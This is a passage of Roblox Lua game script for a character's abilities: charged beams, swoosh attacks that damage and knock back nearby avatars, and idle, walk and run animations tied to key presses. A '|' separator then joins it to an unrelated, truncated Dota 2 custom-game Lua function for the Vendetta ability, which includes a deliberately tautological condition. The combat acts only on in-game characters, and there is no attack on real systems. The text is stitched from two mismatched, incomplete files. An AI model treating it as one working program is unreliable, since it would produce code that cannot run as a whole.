local loc2 = Instance.new("Part",bigswoosh)
loc2.CFrame = bigswoosh.CFrame * CFrame.new(3,0,0)
loc2.Size = Vector3.new(2,2,2)
loc2.Anchored = true
loc2.Transparency = 1
loc2.CanCollide = false
n = 0
nb = 0
for i = 1, 125 do
n = n + x
nb = nb - x
Hit = damagealll(n,bigswoosh.Position)
for _,v in pairs(Hit) do
if x > 4.5 then
v:FindFirstChildOfClass("Humanoid").Parent:BreakJoints()
else
v:FindFirstChildOfClass("Humanoid"):TakeDamage(math.random(0,0))
end
vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso"))
vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999)
torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")
vel.velocity = CFrame.new(bigswoosh.Position,torso.Position).lookVector*150
removeuseless:AddItem(vel,.1)
end
local bigtrail = Instance.new("Part",LeftArm)
bigtrail.Size = bigswoosh.Size
bigtrail.BrickColor = BrickColor.new(colors)
bigtrail.Anchored = true
bigtrail.Material = "Neon"
bigtrail.CFrame = bigswoosh.CFrame * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180)))
bigtrail.CanCollide = false
removeuseless:AddItem(bigtrail,2)
local irritatedground = Instance.new("Part",Torso)
irritatedground.Size = Vector3.new(n*1.5,1,3*x)
irritatedground.BrickColor = BrickColor.new(colors)
irritatedground.Material = "Neon"
irritatedground.CFrame = bigswoosh.CFrame * CFrame.new(0,-6,0)
irritatedground.CanCollide = false
irritatedground.Anchored = true
removeuseless:AddItem(irritatedground,10)
local grassblocks = Instance.new("Part",Torso)
grassblocks.Size = Vector3.new(n/2,n/2,n/2)
grassblocks.Material = "Grass"
grassblocks.Anchored = true
grassblocks.Name = "grassblocks"
grassblocks.BrickColor = BrickColor.new("Bright green")
grassblocks.CFrame = loc1.CFrame * CFrame.new(0,-1,0) * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180)))
removeuseless:AddItem(grassblocks,10)
local grassblocks2 = Instance.new("Part",Torso)
grassblocks2.Size = Vector3.new(n/2,n/2,n/2)
grassblocks2.Material = "Grass"
grassblocks2.Anchored = true
grassblocks2.Name = "grassblocks2"
grassblocks2.BrickColor = BrickColor.new("Bright green")
grassblocks2.CFrame = loc2.CFrame * CFrame.new(0,-1,0) * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180)))
removeuseless:AddItem(grassblocks2,10)
bigswoosh.Size = bigswoosh.Size + Vector3.new(x,x,x)
loc1.CFrame = bigswoosh.CFrame * CFrame.new(n,-3,0)
loc2.CFrame = bigswoosh.CFrame * CFrame.new(nb,-3,0)
bigswoosh.CFrame = bigswoosh.CFrame * CFrame.new(0,0,-3 - x)
swait()
end
for i = 1, 20 do
bigswoosh.CFrame = bigswoosh.CFrame * CFrame.new(0,0,-3)
bigswoosh.Transparency = bigswoosh.Transparency + 0.05
swait()
end
bigswoosh:Remove()
end)()
for i = 1, 50 do
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(10),math.rad(15),math.rad(0)),.5)
RIGHTARMLERP.C1 = CFrame.new(0,0,0)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.2,1,.5) * CFrame.Angles(math.rad(-90),math.rad(-25),math.rad(0)), 0.5)
swait()
end
ws = 50
attacking = false
debounce = false
appi = false
g1:Remove()
end
end)
mouse.KeyDown:connect(function(Press)
Press=Press:lower()
if Press=='k' then
if not levitate then return end
if debounce then return end
debounce = true
attacking = true
charging = true
appi = true
coroutine.wrap(function()
while appi do
swait()
if Root.Velocity.Magnitude < 2 and attacking == true then
position = "Idle3"
end
end
end)()
coroutine.wrap(function()
while appi do
swait()
settime = 0.05
sine = sine + change
if position == "Idle3" and attacking == true and appi == true then
change = .4
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(-.2,.2,0) * CFrame.Angles(0,0,0),.1)
LEFTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.8 - .1 * math.sin(sine/9), 0) * CFrame.Angles(math.rad(0), math.rad(0 + 3 * math.sin(sine/9)), math.rad(35 - 5 * math.sin(sine/9))), 0.4)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.4)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 2.0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10 + 2 * math.sin(sine/9))), 0.4)
end
end
end)()
ws = 0
g1 = Instance.new("BodyGyro", Root)
g1.D = 175
g1.P = 20000
g1.MaxTorque = Vector3.new(0,9000,0)
g1.CFrame = CFrame.new(Root.Position,mouse.Hit.p)
for i = 1, 15 do
g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.3)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(90),math.rad(0)),.3)
RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-.5, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-90)), 0.3)
swait()
end
r = 0
for i = 1, 10 do
r = r + .1
g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.3)
blass = Instance.new("Part",RightArm)
blass.Size = Vector3.new(r,r,r)
blass.Material = "Neon"
blass.CFrame = rightlocation.CFrame * CFrame.new(0,-r/1.5,0) * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180)))
blass.Anchored = true
blass.CanCollide = false
blass.BrickColor = BrickColor.new(colors)
removeuseless:AddItem(blass,2)
swait()
end
while r < 16 and charging == true do
r = r + .1
g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.3)
blass = Instance.new("Part",RightArm)
blass.Size = Vector3.new(r,r,r)
blass.Material = "Neon"
blass.CFrame = rightlocation.CFrame * CFrame.new(0,-r/1.5,0) * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180)))
blass.Anchored = true
blass.CanCollide = false
blass.BrickColor = BrickColor.new(colors)
removeuseless:AddItem(blass,2)
swait()
end
local TheBeam = Instance.new("Part",RightArm)
TheBeam.Name = "zebeam"
TheBeam.Size = Vector3.new(1,1,1)
TheBeam.Material = "Neon"
TheBeam.Shape = "Cylinder"
TheBeam.BrickColor = BrickColor.new("Really red")
TheBeam.Anchored = true
TheBeam.CanCollide = false
ws = 12
bemmo = Instance.new("Sound",RightArm)
bemmo.SoundId = "rbxassetid://1910988873"
bemmo.Volume = 8
bemmo.Looped = false
bemmo:Play()
bemmo.TimePosition = 2
for i = 1, 100 * r/3 do
if r > 15 then
hum.CameraOffset = Vector3.new(math.random(-1,1),math.random(-1,1),math.random(-0,0))
end
g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.3)
local blass = Instance.new("Part",RightArm)
blass.Size = Vector3.new(r,r,r)
blass.Material = "Neon"
blass.CFrame = rightlocation.CFrame * CFrame.new(0,-r/1.5,0) * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180)))
blass.Anchored = true
blass.CanCollide = false
blass.BrickColor = BrickColor.new(colors)
removeuseless:AddItem(blass,2)
local STARTPOS = blass.CFrame*CFrame.new(0,0,0).p
local ENDHIT,ENDPOS = ray2(STARTPOS,mouse.Hit.p,650,Character)
local DISTANCE = (STARTPOS - ENDPOS).magnitude
TheBeam.CFrame = CFrame.new(STARTPOS,ENDPOS)*CFrame.new(0,0,-DISTANCE/2) * CFrame.Angles(math.rad(0),math.rad(90),math.rad(0))
TheBeam.Size = Vector3.new(DISTANCE,r/math.random(1,2),r/math.random(1,2))
boom = Instance.new("Part",RightArm)
boom.Size = Vector3.new(r,r,r)
boom.BrickColor = BrickColor.new(colors)
boom.Anchored = true
boom.CanCollide = false
boom.Material = "Neon"
boom.CFrame = CFrame.new(ENDPOS) * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180)))
removeuseless:AddItem(boom,3)
boom.Touched:connect(function(getbase)
if hitdebounce then return end
hitdebounce = true
if getbase:IsA("Part") then
damagedground = Instance.new("Part",RightArm)
damagedground.Size = Vector3.new(.1,5+r,.1)
damagedground.Material = "Neon"
damagedground.CanCollide = false
damagedground.BrickColor = BrickColor.new(colors)
damagedground.Anchored = true
damagedground.CFrame = boom.CFrame * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180)))
removeuseless:AddItem(damagedground,2)
wait(.1)
hitdebounce = false
end
end)
Hit = damagealll(r+3,boom.Position)
for _,v in pairs(Hit) do
v:FindFirstChildOfClass("Humanoid"):TakeDamage(math.random(0,0))
vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso"))
vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999)
torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")
vel.velocity = CFrame.new(boom.Position,torso.Position).lookVector*r
removeuseless:AddItem(vel,.1)
end
swait()
end
removeuseless:AddItem(g1,.001)
coroutine.wrap(function()
for i = 1, 20 do
bemmo.Volume = bemmo.Volume - 0.5
blass.Transparency = blass.Transparency + 0.05
TheBeam.Transparency = TheBeam.Transparency + 0.05
swait()
end
bemmo:Remove()
if r > 15 then
hum.CameraOffset = Vector3.new(0,0,0)
end
blass:Remove()
TheBeam:Remove()
end)()
ws = 50
appi = false
attacking = false
debounce = false
end
end)
mouse.KeyUp:connect(function(Press)
Press=Press:lower()
if Press=='j' then
charging = false
end
end)
mouse.KeyUp:connect(function(Press)
Press=Press:lower()
if Press=='k' then
charging = false
end
end)
doit = coroutine.wrap(function()
while true do
for _,v in pairs(Repeater) do
v.Scale = v.Scale + Vector3.new(1, 1, 1)
end
for _,v in pairs(openshocktable) do
v.Scale = v.Scale + Vector3.new(3, 3, 3)
end
for _,v in pairs(nonmeshRepeater) do
v.Size = v.Size + Vector3.new(2, 2, 2)
end
for _,v in pairs(Extreme) do
v.Size = v.Size + Vector3.new(6, 6, 6)
end
for _,v in pairs(LessSize) do
v.Size = v.Size - Vector3.new(1, 1, 1)
end
for _,v in pairs(nonmeshRepeater2) do
v.Transparency = v.Transparency + 0.05
end
for _,v in pairs(Repeater2) do
v.Transparency = v.Transparency - 0.05
end
for _,v in pairs(th1) do
v.CFrame = v.CFrame * CFrame.new(0,0+.3,0) * CFrame.Angles(0,math.rad(0+8),0)
end
for _,v in pairs(th2) do
v.CFrame = v.CFrame * CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0+15),0)
end
for _,v in pairs(th3) do
v.Scale = v.Scale + Vector3.new(2, 2, 2)
end
for _,v in pairs(th5) do
v.Scale = v.Scale + Vector3.new(1, .1, 1)
end
for _,v in pairs(ExtremeM) do
v.Size = v.Size + Vector3.new(8, 8, 8)
end
for _,v in pairs(m3) do
v.Scale = v.Scale + Vector3.new(.2,.2,.2)
end
for _,v in pairs(ExtremeM2) do
v.Size = v.Size - Vector3.new(2,2,2)
end
for _,v in pairs(keyYsize) do
v.Scale = v.Scale + Vector3.new(8, 8, 1)
end
for _,v in pairs(th4) do
v.Transparency = v.Transparency + 0.009
v.Rotation = v.Rotation + Vector3.new(3,0,0)
end
for _,v in pairs(SlowlyFade) do
v.Transparency = v.Transparency + 0.05
end
for _,v in pairs(keyYtransparency) do
v.Transparency = v.Transparency + 0.05
end
for _,v in pairs(UpMover) do
v.Position = v.Position + Vector3.new(0, 3, 0)
end
for _,v in pairs(ForwardMover) do
v.CFrame = v.CFrame * CFrame.new(0, 0, 2.4 +(i/.1)) * CFrame.Angles(0, 0, math.rad(0))
end
for _,v in pairs(FadeIn) do
v.Transparency = v.Transparency - .05
end
for _,v in pairs(signtransparency) do
v.TextTransparency = v.TextTransparency + 0.025
end
for _,v in pairs(signmover) do
v.StudsOffset = v.StudsOffset + Vector3.new(math.random(-2,2),.3,math.random(-2,2))
end
for _,v in pairs(signrotator) do
v.Rotation = v.Rotation + 2
end
swait()
end
end)
doit()
t = 0
mouse.KeyDown:connect(function(Press)
Press=Press:lower()
if Press=='0' then
if levitate then return end
shoov = true
if debounce then return end
ws = 50
end
end)
mouse.KeyUp:connect(function(Press)
Press=Press:lower()
if Press=='0' then
if levitate then return end
shoov = false
if debounce then return end
ws = 10
end
end)
local anims = coroutine.wrap(function()
while true do
settime = 0.05
sine = sine + change
if position == "Jump" and attacking == false then
change = 1
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(-3),math.rad(-4)), 0.4)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(3),math.rad(4)), 0.4)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.4)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.4)
elseif position == "Jump2" and attacking == false and levitate then
change = 1
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(-20 - 1 * math.sin(sine/9)), math.rad(0 + 0 * math.cos(sine/8)), math.rad(0) + Root.RotVelocity.Y / 30, math.cos(10 * math.cos(sine/10))), 0.3)
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.3)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.3)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - .1 * math.sin(sine/12)),math.rad(40 - .5 * math.sin(sine/12))), 0.3)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + .1 * math.sin(sine/12)),math.rad(-40 + .5 * math.sin(sine/12))), 0.3)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.3)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.54, 2.0 + .02 * math.sin(sine/9), 0.2 + .1 * math.sin(sine/9)) * CFrame.Angles(math.rad(25 + 5 * math.sin(sine/9)), math.rad(20), math.rad(0)), 0.3)
elseif position == "Falling" and attacking == false and levitate == false then
change = 1
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(4), math.rad(0)), 0.2)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(14), math.rad(-4), math.rad(0)), 0.2)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(20)), 0.2)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-20)), 0.2)
elseif position == "Falling2" and attacking == false and levitate then
change = 1
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(-20 - 1 * math.sin(sine/9)), math.rad(0 + 0 * math.cos(sine/8)), math.rad(0) + Root.RotVelocity.Y / 30, math.cos(10 * math.cos(sine/10))), 0.3)
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.3)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.3)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - .1 * math.sin(sine/12)),math.rad(40 - .5 * math.sin(sine/12))), 0.3)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + .1 * math.sin(sine/12)),math.rad(-40 + .5 * math.sin(sine/12))), 0.3)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.3)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.54, 2.0 + .02 * math.sin(sine/9), 0.2 + .1 * math.sin(sine/9)) * CFrame.Angles(math.rad(25 + 5 * math.sin(sine/9)), math.rad(20), math.rad(0)), 0.3)
elseif position == "Walking" and attacking == false and running == false then
change = 1
walking = true
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - .1 * math.sin(sine/12)),math.rad(40 - .5 * math.sin(sine/12))), 0.3)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + .1 * math.sin(sine/12)),math.rad(-40 + .5 * math.sin(sine/12))), 0.3)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(-10), math.rad(5 * math.cos(sine/7)), math.rad(0) + Root.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/10))), 0.3)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.92 - 0.35 * math.cos(sine/8)/2.8, 0.2 - math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) + -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + RightLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.92 + 0.35 * math.cos(sine/8)/2.8, 0.2 + math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) - -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + LeftLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3)
elseif position == "Idle" and attacking == false and running == false and not levitate then
change = .5
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2 + -.1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0)),.1)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.1)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.1)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + 1 * math.sin(sine/12)),math.rad(-40 + 2 * math.sin(sine/12))), 0.1)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.1)
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.1)
elseif position == "Idle2" and attacking == false and running == false then
change = .75
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0 - 3 * math.sin(sine/9)),0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(-.2,.2,0) * CFrame.Angles(0,0,0),.1)
LEFTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0)
RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.8 - .1 * math.sin(sine/9), 0) * CFrame.Angles(math.rad(0), math.rad(0 + 3 * math.sin(sine/9)), math.rad(35 - 5 * math.sin(sine/9))), 0.4)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.6, 0.8 - .1 * math.sin(sine/9), 0) * CFrame.Angles(math.rad(0), math.rad(0 - 3 * math.sin(sine/9)), math.rad(-35 + 5 * math.sin(sine/9))), 0.4)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.4)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 2.0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10 + 2 * math.sin(sine/9))), 0.4)
elseif position == "Walking2" and attacking == false and running == false then
ws = 50
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(-20 - 1 * math.sin(sine/9)), math.rad(0 + 0 * math.cos(sine/8)), math.rad(0) + Root.RotVelocity.Y / 30, math.cos(10 * math.cos(sine/10))), 0.3)
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.3)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.3)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - .1 * math.sin(sine/12)),math.rad(40 - .5 * math.sin(sine/12))), 0.3)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + .1 * math.sin(sine/12)),math.rad(-40 + .5 * math.sin(sine/12))), 0.3)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.3)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.54, 2.0 + .02 * math.sin(sine/9), 0.2 + .1 * math.sin(sine/9)) * CFrame.Angles(math.rad(25 + 5 * math.sin(sine/9)), math.rad(20), math.rad(0)), 0.3)
elseif position == "Running" and attacking == false then
change = 1
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(1.24+.6*math.sin(sine/4)/1.4, 0.54, 0+0.8*math.sin(sine/4)) * CFrame.Angles(math.rad(6-140*math.sin(sine/4)/1.2), math.rad(0), math.rad(-20+70*math.sin(sine/4))), 0.3)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(0, .5, 0)*CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)), 0.3)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(-1.24+.6*math.sin(sine/4)/1.4, 0.54, 0-0.8*math.sin(sine/4))*CFrame.Angles(math.rad(6+140*math.sin(sine/4)/1.2), math.rad(0), math.rad(20+70*math.sin(sine/4))), 0.3)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(0,.5,0)*CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)),.3)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(-20 - 0 * math.sin(sine/4)), math.rad(0 + 6 * math.sin(sine/4)), math.rad(0) + Root.RotVelocity.Y / 30, math.sin(10 * math.sin(sine/4))), 0.3)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,-.2 + .5*-math.sin(sine/4)),.3)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.6+0.1*math.sin(sine/4),.7*-math.sin(sine/4)) * CFrame.Angles(math.rad(15+ -50 * math.sin(sine/4)),0,0),.3)
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,-.2 + .5*math.sin(sine/4)),.3)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.6-0.1*math.sin(sine/4),.7*math.sin(sine/4)) * CFrame.Angles(math.rad(15 + 50 * math.sin(sine/4)),0,0),.3)
end
swait()
end
end)
anims()
|
--[[
Author: kritth
Date: 11.01.2015.
If attack item, shouldn't be dispell, else remove modifier
]]
function vendetta_attack( keys )
if not keys.target:IsUnselectable() or keys.target:IsUnselectable() then -- This is to fail check if it is item. If it is item, error is expected
-- Variables
local caster = keys.caster
local target = keys.target
local ability = keys.ability
local modifierName = "modifier_vendetta_buff_datadriven"
local abilityDamage = ability:GetLevelSpecialValueFor( "bonus_damage", ability:GetLevel() - 1 )
local abilityDamageType = ability:GetAbilityDamageType()
-- Deal damage and show VFX
local fxIndex = ParticleManager:CreateParticle( "particles/units/heroes/hero_nyx_assassin/nyx_assassin_vendetta.vpcf", PATTACH_CUSTOMORIGIN, caster )
ParticleManager:SetParticleControl( fxIndex, 0, caster:GetAbsOrigin() )
